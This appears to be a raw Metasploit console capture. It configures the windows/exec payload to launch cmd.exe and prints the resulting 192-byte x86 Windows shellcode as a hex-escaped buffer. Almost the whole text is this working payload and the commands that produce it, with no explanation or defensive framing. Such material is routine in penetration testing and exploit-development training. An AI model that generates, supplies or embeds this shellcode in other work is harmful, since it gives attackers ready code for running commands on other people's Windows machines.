Basic options:
Name      Current Setting  Required  Description
----      ---------------  --------  -----------
CMD                        yes       The command string to execute
EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)

Description:
  Execute an arbitrary command


msf payload(exec) > set CMD "cmd.exe"
CMD => cmd.exe
msf payload(exec) > set EXITFUNC thread
EXITFUNC => thread
msf payload(exec) > generate
# windows/exec - 192 bytes
# http://www.metasploit.com
# VERBOSE=false, PrependMigrate=false, EXITFUNC=thread, 
# CMD=cmd.exe
buf = 
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50" +
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" +
"\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7" +
"\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78" +
"\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3" +
"\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01" +
"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58" +
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3" +
"\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a" +
"\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d" +
"\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb" +
"\xe0\x1d\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c" +
"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53" +
"\xff\xd5\x63\x6d\x64\x2e\x65\x78\x65\x00"

